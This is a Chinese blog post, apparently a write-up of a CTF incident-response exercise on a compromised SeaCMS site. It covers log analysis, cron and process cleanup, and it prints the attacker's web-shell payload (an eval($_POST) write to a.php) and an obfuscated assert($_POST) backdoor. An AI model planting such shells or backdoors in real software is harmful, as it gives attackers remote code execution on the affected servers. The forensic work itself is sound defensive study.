bugku 网络安全事件应急响应

发布于:2025-06-09 ⋅ 阅读:(11) ⋅ 点赞:(0)
一、攻击者的IP

首先正常打开网站,看看是不是什么JS劫持、DNS劫持。这是一个基于海洋CMS搭建的网站,进行简单的sql、xss、ssrf测试没有发现问题。FindSomething也没有发现什么泄露信息。
对日志进行分析在这里插入图片描述用户短时间内(几秒钟、几十米内)发起对不同目标URL的访问,判断其为攻击者。User-Agent特征显示其使用的是dirbuster目录爆破工具。

二、攻击者目录扫描工具

dirbuster

三、首次攻击成功的时间

日志分析,我们需要查询攻击者IP,访问成功的日志,并且这是一个php后台
grep -E '38\.207\.130\.14 | grep -E '\" 200' | grep '\.php'
对日志进行分析,着重关注不规律的结果(可能是自动化扫描发现了可疑点于是手动尝试)
在这里插入图片描述
攻击者发现了search.php,网站的查询功能可以执行系统命令,于是构造了这个命令,并用base64编码,解码后得到
file_put_contents('a.php','<?php eval($_POST[1]); ?>');
该命令将<?php eval($_POST[1]); ?>写入a.php文件中,如果没有自动创建。

四、写入的恶意后门文件、密码

a.php,1

五、隐藏在正常Web应用中的恶意代码

日志中显示,攻击者利用search.php实现了任意命令执行,说明这个文件可能存在漏洞或被注入了恶意代码。查看该文件:

  1. 分析该文件内容,该文件是SeaCMS的搜索功能模块,没有发现恶意代码(如eval()、system()、文件写入等操作)
  2. 该文件包含了两个文件,查看被包含文件,没有发现恶意代码,但是被包含文件也require_once了一个文件
  3. 查看该文件,发现一段异常代码
    在这里插入图片描述
这段代码的意思是:
1$_ = "sser";
2$_ = "assert";
3$_(${"_POST"}[0-2-5]);
这里的{""}是动态变量名,实际等价于:assert($_POST[-7]);

其中,/*-/*-*/只是注释的变种写法,在这里就能看出来
六、识别系统中的恶意进程

我们先查看是否建立了后门账号

cat /etc/passwd #查看用户列表
lastlog # 查看用户上一次登录时间

如果存在恶意用户,可以使用 ps -u user查看该用户启动的指令,没有恶意账号。
排查进程、网络连接

  1. ps -aux 发现可疑进程
    在这里插入图片描述
  2. 查看计划任务,判断是否是恶意进程
查看命令 含义
cat /etc/crontabl 查看系统级计划任务
ls -la /ect/cron.hourly 查看每小时计划任务
ls -la /ect/cron.daily 查看每天计划任务
ls -la /ect/cron.weekly 查看每周计划任务
ls -la /ect/cron.monthly 查看每月计划任务
ls -la /var/spool/cron/crontabs 查看非正常用户任务

在这里插入图片描述
发现www-data用户有计划任务,查看该任务
在这里插入图片描述
与之前对应,确定这是恶意进程
ss -ano,查看恶意进程正在进行的连接(C2主机信息,Command&Control)

七、修复漏洞

经查询,发现这是
海洋cms v6.53 代码执行漏洞
但是大家没说怎么修复,我暂时也看不懂代码。这个写的很详细,以后说不定回来看看

八、删除恶意程序、文件、代码

检查连接、进程、计划任务、后门账户
使用killall -u www-data、kill pid杀死恶意进程
rm /var/spool/cron/crontabs/www-data,清除用户级计划任务
这里需要vim /var/spool/cron/crontabs/www-data,清除里面内容,而不能直接删除(白花两块钱看答案)